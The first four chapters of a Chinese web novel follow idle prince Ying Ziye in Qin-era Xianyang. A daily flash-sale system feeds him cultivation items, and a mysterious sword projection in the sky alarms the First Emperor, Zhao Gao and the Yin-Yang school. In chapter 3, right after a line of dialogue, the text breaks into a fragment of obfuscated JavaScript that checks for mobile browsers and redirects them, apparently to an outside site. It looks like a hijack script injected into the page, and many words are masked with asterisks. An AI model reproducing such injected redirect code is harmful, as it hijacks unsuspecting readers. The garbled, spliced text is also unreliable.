《大秦:每日秒杀,可我真不想修仙》
第1章 咸阳城内,虚影浮现,谪仙临世!
公元前221年!
六国毕,四海一,书同文,车同轨,威加海内!
称始皇帝,意指大秦传至千秋万世。
然!
六国余孽暗流涌动,静待时机。
边疆异族时而进犯边疆之地,袭扰百姓。
……
咸阳。
六公子府。
“叮!今日秒杀商品:《太虚炼气诀》——售价:一枚秦半两。”
赢子夜懒洋洋地抬了抬眼皮,连起身的欲望都没有。
他随手一挥,案几上的一枚秦半两便消失不见,取而代之的是一卷泛着青光的竹简。
“呵,这次是**么。”
他连翻看的兴趣都欠奉,随手将竹简往后一抛。
竹简在空中划出一道弧线,精准地落入墙角那个早已堆满的檀木箱里,发出“咚”的一声闷响。
箱子里,类似的修炼资源已经堆了半人高。
各色宝光扑面而来。
三百年份的朱果像垃圾一样堆在左边。
右边是放的乱七八糟的玉瓶,上面贴着“筑基丹”“洗髓丹”“延寿丹”等标签。
最角落里还扔着几件流光溢彩的法器。
其中一柄飞剑正不满地震颤着,似乎在**主人把它和一堆丹药混放。
“让我算算...”
赢子夜掰着手指。
“吃了三个月洗髓丹,啃了两筐朱果,前几日还误服了那瓶标注不明的……”
他忽然捂住肚子,想起那次惨痛的经历。
那瓶标着“美容养颜”的丹药,害他跑了整整三天茅房。
想想隔壁穿越者老王的系统,每天签到就是十万铁骑,还附带死忠属性。
人家现在估计正躺在美人膝上,吃着葡萄等着始皇帝驾崩,就能顺理成章接管天下。
再看看自己——
这“每日秒杀系统”倒是准时,就是这爆率实在感人。
昨天是延寿丹,前天是洗髓丹,大前天更离谱,居然秒到一柄需要元婴期才能催动的飞剑。
自己特么连气海都没开辟,要这玩意当烧火棍吗?
赢子夜哀嚎一声,像条咸鱼般在席上扑腾了两下。
窗外蝉鸣聒噪,更衬得他凄凄惨惨戚戚。
突然,他一个鲤鱼打挺坐起来,扒拉着手指开始算账。
“胡亥有赵高当靠山,扶苏有儒家撑腰……”
手指顿住,他低头看了看自己。
除了一堆秦半两和满屋子用不上的修炼资源,就剩腰间这块快褪色的公子玉牌了。
“造孽啊!”
竹简被狠狠摔在地上,骨碌碌滚到墙角,和之前的那些丹药堆成了小山。
赢子夜抓狂地揉着头发,直到束发的玉冠歪到耳边,活像个炸毛的猫。
但发完疯,他还是认命地爬过去捡起竹简。
毕竟始皇帝那个工作狂也活不长久了,到时候胡亥上位,第一个要杀的就是他们这些公子。
“练吧练吧...”
他嘟囔着盘腿坐好。
“总不能真等死。”
当第一缕灵气艰难地挤进经脉时,赢子夜疼得龇牙咧嘴。
……
与此同时。
章台宫内,青铜烛台上的火光微微摇曳,将殿内映照得忽明忽暗。
嬴政高踞龙台之上,玄色帝袍上的金线在烛光下泛着冷芒。
他单手支颐,指节轻轻叩击着鎏金扶手,每一声脆响都如同重锤般砸在殿中旁人的心头。
“陛下,郡县制已在大秦各地推行。”
李斯伏跪于阶下,额头几乎贴地。
他清晰地感受到上方投来的目光,那视线如有实质,仿佛能穿透他的脊背。
“哦?”
帝王的声音不疾不徐,却让殿内温度骤降。
侍立在侧的宦官们不自觉地绷紧了身子,连呼吸都放轻了几分。
“臣...臣启陛下。”
李斯喉结滚动,声音愈发恭敬。
“虽有少数儒生反对,但总体进展顺利。”
“儒生?”
嬴政突然轻笑一声,指节停在了半空。
整个大殿瞬间陷入死寂,连烛火都仿佛凝固!
他缓缓直起身子,九旒冕上的玉珠相互碰撞,发出清脆的声响。
随着这个动作,殿内所有人都不自觉地屏住了呼吸。
“他们...”
帝王的声音陡然转冷。
“是在怀念分封旧制?还是在妄想恢复周礼?”
最后一个字落下时,嬴政猛地拍案而起!
沉重的龙案发出“砰”的一声巨响,案上竹简哗啦啦散落一地!
李斯浑身一颤,额头渗出细密的汗珠。
他清楚地看到始皇帝眼中闪过的寒光,那目光中蕴含的威压,让他这个当朝丞相都感到呼吸困难。
“朕统一六国,书同文,车同轨。”
嬴政一步步走下台阶,玄鸟纹的帝袍下摆扫过玉阶,发出沙沙的声响。
“这些腐儒,是在质疑朕的决策?”
他的声音并不高,却如同惊雷般在殿内炸响。
侍立在殿角的侍卫们不自觉地握紧了长戟,指节发白!!
李斯深深叩首,额头紧贴冰冷的地面。
“陛下息怒,臣定当……”
“够了。”
嬴政抬手打断,转身望向殿外漆黑的夜空。
月光勾勒出他挺拔的轮廓,投下的阴影几乎笼罩了整个大殿。
“继续推行。”
帝王的声音恢复了平静,却带着不容置疑的决断。
“若有阻挠者……”
他顿了顿,缓缓转身。
烛光映照下,那张棱角分明的脸庞半明半暗,眸中寒芒闪烁。
“夷三族!!!”
突然——
殿内的烛火齐齐一暗。
紧接着,整个咸阳城在这一刻陷入了诡异的寂静,连虫鸣鸟叫都消失无踪。
只见天穹之上,云海翻腾如怒涛,向两侧轰然退散。
皎洁的月光被染成妖异的紫色,一道横贯天际的虚影缓缓浮现。
那是个白衣胜雪的身影。
三千白发如银河倾泻,在夜风中无声舞动。
面容隐在朦胧的仙雾之后,唯有一双眸子清冷如九天寒星,目光所及之处,连空气都为之凝结!
素白的衣袂上流转着日月星辰的虚影,每一步踏出,脚下便绽放出朵朵金莲,莲开十二品,转瞬即谢!!
“这……”
李斯喉结滚动,却发不出完整的声音。
他看见自己的双手在不受控制地颤抖,指节因用力过度而泛白。
更可怕的是,他体内苦修多年的法家真气,此刻竟如
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冬眠的蛇般蜷缩在丹田,不敢稍动!
始皇帝的玄色帝袍无风自动。
他腰间的定秦剑发出低沉的嗡鸣,剑鞘上“定秦”二字的铭文泛起血色光芒。
章台宫内的空气仿佛凝固了。
“黑冰台!”
嬴政的声音不大,却如同利剑般刺破殿内的寂静。
这三个字在殿内回荡的瞬间,烛火突然剧烈摇曳,将帝王的身影在墙上拉出一道狰狞的阴影。
“唰——”
十余道黑影如同鬼魅般从殿柱后、帷幔间闪现。
他们跪伏的姿态整齐划一,黑色劲装与夜色融为一体,唯有腰间悬挂的青铜令牌在烛光下泛着幽光。
李斯注意到,这些**的呼吸几乎微不可闻,就像一群没有生命的影子。
他虽久居高位,却也是第一次亲眼见到黑冰台的存在。
传闻这支力量直接听命于始皇帝,专门负责铲除帝国暗处的威胁,今日一见,果然名不虚传!
帝王的目光缓缓扫过跪伏的黑冰台**。
他的拇指无意识地摩挲着腰间定秦剑的剑柄,这个细微的动作让宦官们不自觉地后退了半步。
“查。”
简简单单一个字,却让殿内温度骤降!!!
黑冰台众人没有应答,只是身形一晃便消失无踪,仿佛从未出现过。
李斯额角渗出冷汗。
他分明看见其中一人的靴底沾着未干的血迹,显然刚杀过人。
嬴政转身望向殿外夜空。
那道虚影仍在,朦胧的面容仿佛在嘲笑着大秦的统治。
月光勾勒出帝王紧绷的下颌线,他眯起的双眼中翻涌着复杂的情绪。
这世上……竟还有人能修炼到如此境界?
指节在剑柄上收紧,骨节泛白。
他想起当年横扫六国时,那些负隅顽抗的宗师高手。
每一场胜利都来之不易。
每一次征服,都要付出血的代价。
楚国的项氏……
燕国的荆轲……
虚影的衣袂飘动间,让嬴政的瞳孔骤然收缩,耳边仿佛又响起那句诅咒般的谶语!
“楚虽三户,亡秦必楚!”
帝王突然冷笑一声。
笑声中不见慌乱,只有令人胆寒的决绝。
他转身时,帝袍翻卷如乌云压境,九旒冕上的玉珠碰撞出清脆的声响。
“拟诏。”
这两个字让李斯浑身一震,急忙捧起竹简。
“即日起,关中**。”
嬴政的声音平静得可怕。
“凡楚地口音者,严加盘查!”
他的目光扫过殿外漆黑的夜空,仿佛在凝视某个看不见的敌人。
指腹缓缓擦过剑鞘上“定秦”二字的铭文,眼中闪过一丝几不可察的疲惫,但转瞬就被钢铁般的意志所取代。
朕能灭六国一次……
就能再灭第二次!!
这个念头让帝王紧绷的嘴角微微上扬。
嬴政说完,便转身走向龙台,步伐沉稳有力,每一步都仿佛踏在众人心头。
然而,就在无人得见的阴影里,帝王的眉头却几不可察地皱了一下。
那道虚影……
让他想起了年轻时在邯郸为质的日子。
那种如芒在背的不安感,已经很多年没有出现过了。
第2章 仙人一剑,天下强者尽低头!
蜃楼之巅,夜风呜咽。
东皇太一静立观星台上,玄色长袍在风中纹丝不动,仿佛与夜色融为一体。
黑金面具在月光的照射下泛着诡异的光泽,面具上雕刻的星象图案随着角度的变换时隐时现。
“如此威压……”
他的声音如同砂纸摩擦,沙哑中带着金属般的质感。
宽大的袖袍中,枯瘦的手指轻轻掐算着,指甲上暗紫色的纹路在月光下若隐若现。
月神垂首立于三步之外,银发在夜风中轻扬。
她能感受到空气中弥漫的压迫感,那不是来自天上的虚影,而是身前这个深不可测的男人散发出的气息。
“陆地神仙?”
东皇太一突然轻笑一声,笑声中带着令人毛骨悚然的韵律。
“有趣。”
他缓缓抬起右手,掌心向上。
一团幽蓝色的火焰凭空燃起!
火光映照在面具上,将那些星象图案投射到四周的空气中,形成一幅旋转的星图。
月神的瞳孔微微收缩。
她注意到首领的指尖在微微颤抖。
这是她多年来第一次见到首领出现这样的反应。
“近百年了……”
东皇太一的声音突然变得飘忽。
“自庄周梦蝶之后,再未见过这等境界。”
星图突然剧烈旋转,其中一颗星辰发出刺目的红光。
东皇太一猛地收掌握拳,所有幻象瞬间消散。
“月神。”
“属下在。”
月神立即单膝跪地,银发垂落遮住了她惊疑不定的表情。
“去查。”
东皇太一转身,黑袍翻卷如乌云压境。
“带上星魂。”
这个命令让月神身形一滞。
星魂是阴阳家百年难遇的天才,首领竟要同时派出两位**?
“记住,”
东皇太一的声音突然近在耳畔,月神惊觉首领已无声无息地出现在她身后。
“若遇此人……”
枯瘦的手指轻轻搭上她的肩膀,月神瞬间感到一阵刺骨的寒意顺着经脉蔓延。
“即刻回报。”
当那股寒意退去时,观星台上已只剩月神一人。
她缓缓起身,发现自己的衣襟已被冷汗浸透。
抬头望向夜空,那道虚影正在渐渐消散。
但空气中残留的威压,却让她想起了东皇太一闭关时,蜃楼地下传来的那些非人的嘶吼声。
……
中车府内。
青铜灯盏的火光将赵高的身影拉得细长诡谲。
他负手立于窗前,苍白的面容在明灭的灯火中显得阴晴不定。
窗外那道横亘夜空的虚影,在他狭长的眼眸中投下晦暗的阴影。
“陆地神仙?”
赵高轻声呢喃,指尖无意识地摩挲着腰间玉坠。
这枚价值连城的血玉,是胡亥上月所赠。
他突然收紧五指,玉坠在掌心发出细微的碎裂声。
若此人插手朝局……
这个念头让赵高眼角微微抽搐。
他想起昨日胡亥在府中的秘密叮嘱,又想起扶苏与儒家日渐密切的往来,更想起……
始皇帝近来愈发莫测的心思。
“六剑奴。”
赵高的声音轻得像一缕烟,却在寂静的殿内清晰可闻。
烛火应声摇曳,将他的影子拉长在墙上,如同一只蓄势待发的蜘蛛。
六道身影无声显现。
真刚单膝跪在最前,青铜面具上的蜘蛛纹在烛光下泛着冷光。
断水静立其后,蒙眼布下的嘴角噙着莫测的笑意。
乱神把玩着佩剑,剑身上的邪气让烛火都变成了幽绿色。
魍魉倒悬在梁上,双剑交叉在胸前。
转魄与灭魂这对双胞胎一左一右,如同镜中倒影。
“大人。”
真刚的声音如同他的剑一般刚硬。
他保持着跪姿,却能感受到赵高阴鸷的目光正细细碾过他的每一寸肌肤。
赵高缓缓踱步,锦缎鞋底踩在地毯上,没有发出半点声响。
“天亮前,我要知道那道虚影的来历,特别是……”
他忽然俯身,枯瘦的手指挑起真刚的下巴。
这个动作让其余五人不自觉地绷紧了身躯。
“与长公子府的关系。”
殿内温度骤降!
乱神的剑突然发出嗡鸣,邪气大盛!
真刚面具下的瞳孔紧缩,他看到赵高眼中翻涌的怨毒,那神色让这位天字一等**都感到一丝寒意。
“诺。”
六人齐声应答,声音却各有不同。
赵高满意地松开手。
“记住。”
赵高转身时袍角翻飞,露出腰间一块刻着蜘蛛纹的玉牌。
“你们是帝国的奴才,而帝国……”
他顿了顿,看向章台宫方向。
“很快就是胡亥公子的了。”
随着六道身影逐渐融入夜色,赵高缓缓踱回案前。
他执起酒樽,却发现自己的指尖在微微颤抖。
琥珀色的酒液洒落在竹简上,晕开一片暗色痕迹,宛如血渍。
这盘棋,绝不能出任何差错!
他忽然将酒樽狠狠掷向墙壁,碎裂声在寂静的府邸中格外刺耳!!
......
城外。
一棵古松下,盖聂抱剑而立。
夜风拂过他的青色长衫,衣袂翻飞间隐约可见内衬的素白中衣。
那是他始终未改的旧时习惯。
“天象境……还是更高?”
他仰望着咸阳城上空的虚影,眉头微蹙。
修长的手指无意识地轻抚剑鞘,鲨皮纹路摩挲着指腹,带来熟悉的触感。
这柄伴随他多年的长剑渊虹,此刻竟在鞘中发出细微的嗡鸣。
连你也感应到了吗?
盖聂眼中闪过一丝诧异。
他想起三日前在章台宫觐见时,始皇帝谈及六国余孽时眼中闪过的杀机。
想起当初李斯在廷议上提出“焚书”之议时,那些儒生惨白的脸色。
更想起荆轲临终时那句未能说完的嘱托!
“咸阳的水,越来越浑了。”
他轻叹一声,声音消散在夜风中。
突然,盖聂身形微动,如一片落叶般飘然而起。
当他的身影再次出现时,已是在十丈开外的树梢。
月光下,那袭青衫仿佛与夜色融为一体,唯有腰间的渊虹剑偶尔反射出一道冷光。
若有此等强者相助,定能动摇暴秦根基!
这个念头在心头一闪而过,盖聂立即收敛心神。
他足尖轻点枝头,身形如电射向咸阳方向。
夜风中,几片被惊起的落叶打着旋儿落下,其中一片恰好落在方才他站立之处。
那里,青石上赫然留着一个三寸深的脚印!
边缘整齐如刀削!!!
……
夜色渐深。
六公子府
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内一片静谧。
赢子夜盘坐在蒲团之上,双手结太虚印,周身三丈内的空气微微扭曲。
他每一次悠长的呼吸,都引得庭院中的桃树无风自动。
粉白花瓣簌簌落下,却在距离他三尺之处悬停,随着灵气流转缓缓旋转。
“嘶——”
随着深长的吸气,他天灵处浮现出一朵青莲虚影。
莲开三品,每片花瓣上都流淌着玄奥的纹路。
那些悬停的桃花瓣突然加速旋转,化作道道粉色流光没入他的七窍之中。
皮肤之下,隐约可见淡青色的灵脉如树根般蔓延。
原本白皙的肌肤渐渐泛起玉质光泽,在月光下竟显得有几分透明,能看见其中奔涌的灵力如江河般在经脉中穿行。
“咔嚓!”
一声轻响从他丹田处传来。
内视之下,原本雾状的真气正在急速旋转压缩,渐渐凝成液态。
一滴、两滴……
当第九滴灵液成型时,所有灵液突然共振,在他丹田处形成一个完美的气旋。
“呼——”
吐气如箭,一道白练爆射而出,将三丈外的石凳洞穿。
赢子夜却恍若未觉,此刻他正沉浸在一种玄妙的状态中。
……
与此同时,咸阳城各处暗流涌动。
各方势力都在调查天空之上那道虚影的身份。
突然!
天穹之上,云海翻腾。
只见白衣虚影缓缓抬手,并指为剑!
刹那间,整片天地都为之一静!!
“铮——!”
清越剑鸣响彻云霄!
虚影指尖迸发出一道璀璨剑光,那剑光起初细如发丝,转瞬间便化作横贯天地的匹练!
剑势所过之处,空间扭曲,月光破碎,仿佛连时间都被这一剑斩断!
一处城楼之巅。
月神与星魂同时闷哼一声。
星魂手中的聚气成刃“咔嚓”碎裂。
月神的面纱被无形剑气撕开一道口子,露出惊骇的神情。
而另一处。
某个破败院墙上。
六剑奴齐齐吐血**。
真刚的青铜面具裂成两半。
断水的蒙眼布被剑气绞碎,露出空洞的眼窝。
与此同时,咸阳宫城外檐角。
三名黑冰台**从隐匿处跌落,胸前衣襟尽碎,露出深可见骨的剑痕。
“噗——”
“啊!”
咸阳各处,无数窥探的武道高手纷纷受创!!!
有贵族门客的佩剑无故断裂!
有江湖客的丹田真气紊乱!
更有甚者直接昏死过去!
这一剑,仿佛跨越时空,同时斩在所有窥视者身上!
“那是……六公子府的方向?!”
月神擦去嘴角血迹,美眸中满是难以置信。
星魂更是面目狰狞,手中的气刃明灭不定。
“不可能!那不是个废物吗……”
六剑奴面面相觑,真刚捂着胸口,面具下的脸色难看至极。
“回去禀报大人……”
黑冰台的**们挣扎着爬起,眼中尽是骇然。
他们奉命监视各位公子多年,而那个整日游手好闲的六公子,怎么可能有如此手段?!
然而当众人惊疑不定时,天穹上的虚影早已如晨雾般消散。
唯有一片雪白的衣角碎片缓缓飘落,在触及六公子府方向的瞬间,化作点点星光没入一团气旋之中。
第3章 难道六公子一直在扮猪吃虎?!
与此同时。
赢子夜对外界的一切,却浑然不觉。
这位素来不起眼的六公子,如今竟已踏入练气巅峰之境!
不知过了多久,他双目睁开,眸中精光乍现!
“呼——”
一口浊气吐出,竟在空气中凝成三尺白练。
赢子夜缓缓起身,只觉方圆百丈内的一切都清晰可闻:
墙角蚂蚁爬行的窸窣声,庭院落叶飘落的轨迹,甚至远处侍女轻声的梦呓……
他懒洋洋地打了个哈欠,随手把《太虚炼气诀》竹简扔到一旁,整个人瘫在软榻上。
“修炼好累啊!烦**……”
他百无聊赖地内视丹田,看着那团慢悠悠旋转的真气,忍不住撇了撇嘴。
这修炼速度,跟隔壁穿越者的十万铁骑比起来,简直就像蜗牛爬。
“叮!今日秒杀商品:凝真丹(玄阶上品)——售价:一枚秦半两。”
系统提示音响起,赢子夜连眼皮都懒得抬。
“又是丹药?就不能来点现成的打手吗?”
磨蹭了半天,他才不情不愿地摸出钱袋,摸出一枚秦半两。
铜钱在空中划出一道弧线,消失不见,取而代之的是一瓶泛着青光的玉瓶。
“唉,吃吧吃吧……”
他像吃药一样皱着眉,把丹药倒进嘴里。
“总不能到时候死路一条了,我连跑路的力气都没有。”
丹药入腹的瞬间,赢子夜突然瞪大眼睛,“嗖”地坐直了身子。
“**!这么猛?”
他手忙脚乱地摆出修炼姿势,感受着体内横冲直撞的药力,欲哭无泪。
“系统你这是要玩死我!!!”
真气在经脉里乱窜,疼得他龇牙咧嘴。
赢子夜一边哼哼唧唧,一边不情不愿地运转**。
头顶渐渐凝聚出一个歪歪扭扭的气旋,比起其他修士的圆润完美,他这个活像被啃了一口的烧饼。
最后,内视着丹田里那团勉强算得上凝实的真气,赢子夜撇了撇嘴。
“还是不如百万大军来得实在……”
他四仰八叉地躺回榻上,随手抓起一个朱果啃了起来。
果肉入腹,化为丝丝灵气滋养着经脉。
这是以前秒杀到的百年灵果,被他当零食吃。
“明天要是再刷出**,”赢子夜含糊不清地嘟囔着,“我就…我就…”
话还没说完,他就被体内突然躁动的真气吓了一跳,连忙又坐起来调息。
一边修炼一边唉声叹气。
月光透过窗棂,照在他那张生无可恋的脸上。
此刻,他满脑子都是:
到底要修炼到什么境界,才能像隔壁老王那样躺着收小弟呢?
……
蜃楼之巅,星辉黯淡。
月神单膝跪在观星台上,银发垂落遮住了她微微苍白的脸色。
素白的衣袖上,一道细不可查的剑痕若隐若现。
那是被那道虚影剑气所伤。
“属下无能,未能追踪到那道虚影的踪迹。”
她的声音依旧清冷,却带着一丝几不可察的颤抖。
观星台中央,东皇太一的黑金面具在星光照耀下泛着诡异的光泽。
这位阴阳家首领负手而立,宽大的黑袍无风自动,袍角上的星图纹路流转不息。
沉默。
良久,东皇太一缓缓抬手,指尖凝聚出一缕幽蓝色的火焰。
“你受伤了。”
这不是疑问,而是陈述。
月神心头一紧,下意识抚上袖口的裂痕。
她深知这位首领的脾气。
失败尚可容忍,但隐瞒……
“那道虚影最后消散的方向…”她斟酌着词句,“似乎是六公子府。”
“六公子?”
东皇太一的声音第一次出现了波动。
他转身时,黑袍上的星图突然剧烈旋转,几颗主星发出刺目的红光!
月神低着头,却能感受到面具后那道审视的目光。
她知道首领为何惊讶。
在阴阳家多年的监视中,那位六公子赢子夜,不过是个游手好闲的纨绔子弟。
整日不是沉迷酒色,就是在府中睡大觉,连始皇帝的朝课都时常缺席。
“有趣。”
东皇太一突然轻笑一声,笑声中带着金属摩擦般的刺耳感。
他抬手轻抚面具上的星纹,语气恢复了往日的莫测高深。
“你在朝中任职,多留意这位…六公子。”
月神微微蹙眉。
她听出了首领话中的深意,不是“监视”,而是“留意”。
这个微妙的差别,意味着东皇太一对此事的重视程度远超寻常!
“属下明白。”
“星魂那边…”东皇太一突然话锋一转,“让他暂时不要轻举妄动。”
月神领命退下时,余光瞥见首领正仰望着六公子府的方向。
黑金面具下的双眸中,闪过一丝她多年来都从未见过的……
惊疑!
观星台重归寂静。
东皇太一指尖的火焰突然变成血红色,映照出天穹之上的星图景象!
帝星旁,隐星现。
……
中车府。
青铜灯盏将赵高的身影拉得细长诡谲。
“大人。”
真刚低沉的声音在殿外响起。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030582|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>赵高眼皮都没抬一下,只是指尖微微一顿。
六道身影鱼贯而入,跪伏在地时竟带着几分罕见的狼狈!
真刚的面具缺了一角,断水的蒙眼布渗出血迹,连最跳脱的魍魉都抿紧了嘴唇。
“说。”
赵高的声音轻柔得像羽毛拂过,却让六剑奴不自觉地绷紧了脊背。
“那道虚影……”真刚的嗓音沙哑,“最后消散的方向,似乎是六公子府。”
转魄和灭魂这对双生子不安地交换了个眼神。
她们清楚记得,当那道剑气横扫而过时,六公子府方向传来的奇异波动。
“哦?”
赵高终于抬起眼,狭长的眸子在烛光下泛着毒蛇般的冷光。
他慢条斯理地摩挲着扳指,突然“咔”的一声,血玉表面裂开一道细纹。
“六公子,赢子夜?”
他像是听到了什么笑话,嘴角扯出一个诡异的弧度。
那个年少时**亥公子当众泼酒都不敢吭声的窝囊废?
“有意思。”
他突然起身,锦缎鞋底踩在地毯上没发出半点声响,缓缓踱到真刚面前。
“你们确定没看错?”
断水虽然目不能视,却敏锐地察觉到空气中弥漫的杀意。
这位罗网首领看似平静的问话下,藏着怎样的惊涛骇浪,他们再清楚不过。
“属下以性命担保!!”
真刚面具下的声音坚定不移。
赵高凝眉,转身望向窗外六公子府的方向。
月光下,他的侧脸如同刀削般锋利。
“此事,陛下肯定会知晓,明日定要传旨让他入宫……”
“到时候,让郑宦去试探一番。”
六剑奴同时一怔。
郑宦,那个在宫中摸爬滚打四十年的老狐狸,最擅长察言观色,也最懂得如何让人吃哑巴亏。
“大人高明。”
断水沙哑的声音从蒙眼布下传来,“郑宦最会揣摩上意,定能试出六公子深浅。”
“本官倒要看看。”
赵高抚摸着玉扳指上的裂纹,声音轻柔得令人毛骨悚然。
“这位六公子,是真龙……还是条泥鳅!”
夜风吹动帘幕,烛火忽明忽暗。
六剑奴退下时,最后瞥见的是赵高映在墙上的影子。
那影子竟像蜘蛛般张牙舞爪,仿佛要将整个六公子府笼罩其中!
而在他们看不见的角度,赵高袖中的手指正微微颤抖。
那个被他视为蝼蚁的六公子,若真的一直在扮猪吃虎……
这个念头让他如芒在背,连呼吸都变得灼热起来!!!
……
第4章 若寡人百年之后,何人可继承大秦之位
章台宫内。
青铜烛台上的火光摇曳不定,将始皇帝的身影投映在殿墙上,如同一头蛰伏的巨龙。
“咳咳咳——”
一阵撕心裂肺的咳嗽声打破了夜的寂静。
熬了大半夜的始皇帝松开捂嘴的绢帕,上面刺目的猩红在烛光下显得格外触目惊心。
李斯跪坐在下首,见状立即上前,却被一道凌厉的目光钉在原地!
“陛下!”李斯喉结滚动,声音发紧,“太医令新配的药……”
始皇帝抬手打断,玄色帝袍上的金线龙纹随着他的动作泛着冷光。
他缓缓起身,九旒冕上的玉珠碰撞出清脆的声响,每一步都仿佛踏在李斯心头。
“李斯。”
帝王的声音沙哑低沉,却让整个大殿的空气都为之一滞。
李斯立刻伏跪在地,额头紧贴冰冷的地砖。
“若寡人百年之后……”
始皇帝站在窗前,月光勾勒出他如刀削般的侧脸,“何人可继大秦之位?”
“陛下!”
李斯浑身一颤,声音都在发抖,“阴阳家正在东海寻觅仙药线索,陛下将来定能长生不死。”
“回答寡人!!!”
一声厉喝如惊雷炸响。
案几上的竹简“哗啦啦”散落一地,殿外的侍卫“扑通”跪倒一片。
李斯只觉得一股无形的威压如山岳般压下,让他几乎喘不过气来。
“臣…臣…”他额头沁出冷汗,声音细若蚊蝇。
就在这时!
殿门被猛地推开,一名黑冰台**踉跄而入,胸前深可见骨的伤口还在汨汨流血。
“陛…陛下!”
**跪伏在地,鲜血很快浸透了身前的地毯。
始皇帝眸光一凝,李斯更是倒吸一口凉气。
这可是黑冰台一等一的**!
竟然重伤了?!
“说。”始皇帝的声音冷得像冰。
“属下无能……未能追踪到那道虚影……”
**话音未落,始皇帝眼中骤然迸发出骇人的寒芒!
他猛地转身,玄色帝袍掀起一阵罡风,九旒冕上的玉珠剧烈碰撞,发出刺耳的脆响。
“废物!”
一声暴喝如同九天惊雷,震得殿内烛火齐齐熄灭。
始皇帝一掌拍下,面前的龙案“轰”地炸裂!
碎木飞溅中,他额角青筋暴起,双目赤红如血。
“朕养你们黑冰台何用?!连个人都查不到?!”
恐怖的帝王威压如山岳般倾泻而下,跪伏在地的黑冰台**“哇”地喷出一口鲜血,身下的地毯瞬间被浸透。
李斯更是面如土色,整个人几乎要趴伏在地。
**强撑着最后一口气,颤抖着抬起血迹斑斑的脸:
“陛下恕罪!但…但那虚影最后消散的方向……”
他艰难地抬头,眼中满是惊疑。
“是六公子府!!”
始皇帝瞳孔骤然收缩,周身气势为之一滞!
李斯猛地抬头,脸上的表情仿佛听到了天方夜谭。
是那个整日无所事事,无人关心的六公子?!
殿内死一般的寂静。
只见始皇帝缓缓转身,玄鸟纹的帝袍无风自动,周身散发出的威压让烛火都为之凝固。
他深邃的目光望向六公子府的方向,眸中似有惊雷涌动!
六公子府?
此时此刻,始皇帝的手指突然停在剑鞘上,玄色帝袍袖角正轻轻摇曳。
殿内烛火齐齐一暗,映得他眉宇间的震惊格外清晰。
帝王罕见地沉默了三个呼吸。
“你确定?”
他的声音很轻,却让黑冰台**额头渗出冷汗。
“属下以命担保!”
**艰难地挤出这句话,嘴角又溢出一缕鲜血。
始皇帝眸光微动。
他太了解自己亲手培养的这批“利剑”。
宁可粉身碎骨,也绝不会妄言半句。
始皇帝缓缓转身,月光透过窗棂,在他轮廓分明的侧脸上投下深浅不一的阴影。
这一刻,李斯仿佛看到这位横扫六合的帝王眼中,闪过一丝他从未见过的……
犹疑。
“有意思…”
帝王突然低笑一声,指节轻轻叩击剑鞘。
定秦剑发出细微的嗡鸣,剑身上“定秦”二字的铭文泛起微光。
“朕记得,多年前有一场宴会。”
始皇帝的声音带着几分追忆:“他还**亥泼了一身酒。”
鎏金屏风框突然被捏出五道指痕。
“好一个…扮猪吃虎。”
最后四个字咬得极重,像在咀嚼某种滋味。
始皇帝踱步至窗前,玄鸟纹的帝袍下摆扫过玉阶,发出沙沙声响。
李斯伏跪在地,清楚地看到帝王负在身后的右手正在微微颤抖。
不是愤怒,而是某种难以名状的兴奋!!!
“传旨。”
始皇帝突然开口,声音恢复了往日的威严,却多了一丝李斯从未听过的温度!
“明日,所有公子入朝听政。”
修长的手指摩挲着剑柄,帝王的目光穿过重重宫墙,落在六公子府的方向。
烛光映照下,他的眼神复杂难明。
三分审视,七分期待。
“朕倒要看看…”
始皇帝唇角微扬:
“这条潜龙,藏得有多深!!”
当值宦官领命退下时,李斯惊觉殿内气氛已然不同。
那柄定秦剑上的铭文不再泛着血光,而是流转着如水的月华。
而在帝王转身的刹那,李斯分明看到。
这位横扫八荒的祖龙眼中,闪烁的竟是一丝几不可察的,
欣慰。
……
六公子府。
赢子夜四仰八叉地躺在软榻上,嘴里叼着根草茎,懒洋洋地打了个哈欠。
阳光透过窗棂洒在他身上,将那张写满“生无可恋”的脸照得格外清晰。
“啊~总算炼化完了……”
他伸了个懒腰,随手把玩着已经空了的玉瓶。
体内真气流转顺畅,练气巅峰的境界算是彻底稳固了。
要是让那些苦修数十载还卡在练气初期的修士知道,这位爷一边抱怨一边随随便便就突破了,怕是要气得吐血。
“公子!公子!”
门外传来一阵慌乱的脚步声。
赢子夜连眼皮都懒得抬:
“进。”
老管家跌跌撞撞地冲进来,额头上的汗珠在阳光下闪闪发亮:
“宫里、宫里来人了!传公子即刻入朝听政!”
“啥?”
赢子夜嘴里的草茎掉在了地上。
他慢吞吞地坐起身,掏了掏耳朵:“你再说一遍?让我去
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干嘛?”
“入朝听政啊公子!”
老管家急得直跺脚,“传旨的宦者就在前厅候着呢!”
赢子夜一脸茫然地眨了眨眼。
这不对劲啊?
按照他多年来的咸鱼经验,朝廷早该把他这个六公子忘到九霄云外去了才对。
平时朝课都懒得去,也没人管。
“该不会是……”
他突然一个激灵,想起昨晚修炼时那股莫名的躁动。
但转念一想,又觉得自己多虑了。
他这么个整天混吃等死的废物公子,能引起什么注意?
“唉,都怪系统,玩意儿真是不靠谱!”
他撇了撇嘴,从袖中掏出一颗晶莹剔透的丹药把玩着。
这是今早秒杀到的“通脉丹”,放在江湖上足以让各大门派抢破头,可对他来说……
“又是个鸡肋。”
赢子夜叹了口气,随手将丹药抛起又接住。
窗外传来叽叽喳喳的鸟叫声,他却充耳不闻,脑海中盘算着更重要的事。
“靠修炼自保?呵……”
他嘴角勾起一抹自嘲的弧度。
体内真气流转,练气巅峰的修为让他能清晰感知到方圆百丈内的风吹草动。
但这远远不够。
赢子夜站直了身子,眼神渐渐锐利起来!
“大秦这艘船,可不能真让胡亥那个败家子给凿沉了。”
他想起昨日在街市上看到的景象:
商贩们交头接耳,谈论着始皇帝日渐衰弱的身体。
巡逻的卫兵眼神闪烁,腰间佩剑的系带都松松垮垮……
指节无意识地敲击着窗框,赢子夜眯起眼睛。
既然系统不肯给他现成的军队,那他就自己打造一支!
那些秒杀来的丹药、法器,不就是最好的筹码吗?
“一个情报网。”
